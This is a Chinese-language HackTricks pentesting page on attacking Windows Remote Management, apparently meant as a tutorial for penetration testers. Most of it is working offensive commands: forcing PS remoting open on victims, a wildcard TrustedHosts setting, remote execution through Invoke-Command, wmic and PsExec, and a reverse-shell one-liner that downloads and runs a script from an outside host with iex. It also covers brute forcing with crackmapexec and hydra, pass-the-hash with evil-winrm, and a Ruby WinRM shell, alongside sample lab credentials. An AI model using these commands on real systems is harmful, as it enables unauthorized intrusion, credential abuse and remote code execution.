hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

14 KiB
Raw Blame History

5985,5986 - 渗透测试 WinRM

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

加入 HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
随时了解最新的赏金计划发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!

WinRM

Windows 远程管理WinRM是微软的协议允许使用 SOAP 在 HTTP(S) 上远程管理 Windows 机器。在后端,它利用 WMI因此您可以将其视为基于 HTTP 的 WMI API。

如果在计算机上启用了 WinRM则可以轻松地从 PowerShell 远程管理计算机。实际上,您可以像使用 SSH 一样直接进入计算机上的远程 PowerShell 会话!

检测 WinRM 是否可用的最简单方法是查看端口是否打开。WinRM 将监听以下两个端口:

  • 5985/tcpHTTP
  • 5986/tcpHTTPS

如果其中一个端口打开,表示 WinRM 已配置,您可以尝试进入远程会话。

启动 WinRM 会话

我们可以配置 PowerShell 与 WinRM 一起工作。根据 Microsoft 文档Enable-PSRemoting 是一个配置计算机接收 PowerShell 远程命令的 cmdlet。如果我们可以在受害者的提升的 PowerShell 提示符上访问,我们可以启用它并将任何“攻击者”添加为受信任的主机。我们可以运行以下两个命令:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

这将通配符添加到trustedhosts设置中。要注意这意味着什么。 注意:我还必须将攻击机器上的网络类型从"Public"更改为"Work"网络。

您还可以远程使用_wmic_激活WinRM

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

测试是否已配置

一旦攻击机器配置完成,使用Test-WSMan函数来测试目标是否已配置为WinRM。您应该会看到有关协议版本和wsmid的一些返回信息

在这种情况下,第一个已配置,第二个未配置。

执行命令

现在我们可以使用PowerShell的Invoke-Command在目标上通过WinRM远程执行命令。要远程运行ipconfig并查看输出:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

您还可以通过Invoke-Command执行当前PS控制台的命令。假设您本地有一个名为enumeration的函数,并且您想在远程计算机上执行它,您可以执行以下操作:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

执行脚本

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

获取反向Shell

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

获取一个PS会话

或者如果你想直接进入一个交互式PowerShell会话可以使用Enter-PSSession函数:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

会话将在“受害者”内的新进程wsmprovhost中运行

强制打开 WinRM

如果您真的想要使用 PS Remoting 和 WinRM但目标没有为此进行配置您可以通过一个命令“强制”打开它。我不建议这样做但如果您真的想要使用 WinRM 或 PSRemoting那么尽管这样做。例如使用 PSExec

PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

现在我们可以在受害者上进入远程PS会话。

保存和恢复会话

如果远程计算机中的语言受限,这将无法工作

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

在这些会话中您可以使用_Invoke-Command_加载PS脚本。

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

错误

如果你遇到以下错误:

enter-pssession : 连接到远程服务器 10.10.10.175 失败并显示以下错误信息WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输,或将目标机器添加到 TrustedHosts 配置设置中。请使用 winrm.cmd 配置 TrustedHosts。请注意TrustedHosts 列表中的计算机可能未经过身份验证。您可以通过运行以下命令获取有关此信息的更多信息winrm help config。有关更多信息请参阅 about_Remote_Troubleshooting 帮助主题。

在客户端尝试(信息来自这里:

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

加入HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
了解最新的赏金任务发布和重要平台更新

加入我们的 Discord 并开始与顶尖黑客合作!

在Linux中建立WinRM连接

暴力破解

请注意暴力破解WinRM可能会阻止用户。

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

使用 evil-winrm

gem install evil-winrm

阅读其 文档 在其 github 上: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

要使用 evil-winrm 连接到一个 IPv6 地址,在 /etc/hosts 中创建一个条目,将一个域名设置为该 IPv6 地址,并连接到该域名。

使用 evil-winrm 传递哈希

evil-winrm -u <username> -H <Hash> -i <IP>

使用PS-docker机器

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

使用ruby脚本

代码提取自这里:https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

References

HackTricks 自动命令

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
了解最新的赏金任务发布和重要平台更新

加入我们的 Discord ,立即与顶尖黑客合作!

从零开始学习AWS黑客技术成为英雄使用 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式